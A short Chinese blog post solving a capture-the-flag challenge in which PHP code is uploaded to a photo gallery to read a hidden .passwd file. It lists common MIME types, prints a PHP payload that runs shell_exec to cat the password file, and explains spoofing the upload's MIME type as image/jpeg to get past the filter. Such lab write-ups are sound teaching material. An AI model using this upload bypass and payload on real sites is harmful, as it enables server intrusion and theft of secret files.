abbin-blog

Your goal is to hack this photo galery by uploading PHP code.
Retrieve the validation password in the file .passwd.
>

 

修改mime type类型即可,常用类型:

  • 超文本标记语言:.html text.html

  • 普通文件:.txt text/plain

  • RTF文件:.rtf application/rtf

  • GIF图形:.gif image/gif

  • JPEG图形:.jpeg,.jpg image/jpeg

 

 

<?php
  $a = shell_exec("cat ../../../.passwd");

  echo "</pre>$a</pre>";
?>

再上传php中将mime type 更改为image/jpeg

分类:

技术点:

相关文章:

  • 2021-12-16
  • 2021-04-22
  • 2021-09-28
  • 2021-10-02
  • 2021-08-07
  • 2021-11-01
  • 2021-11-28
猜你喜欢
  • 2021-11-01
  • 2021-11-10
  • 2021-05-26
  • 2021-10-02
  • 2021-11-01
  • 2021-10-07
  • 2021-05-15
相关资源
相似解决方案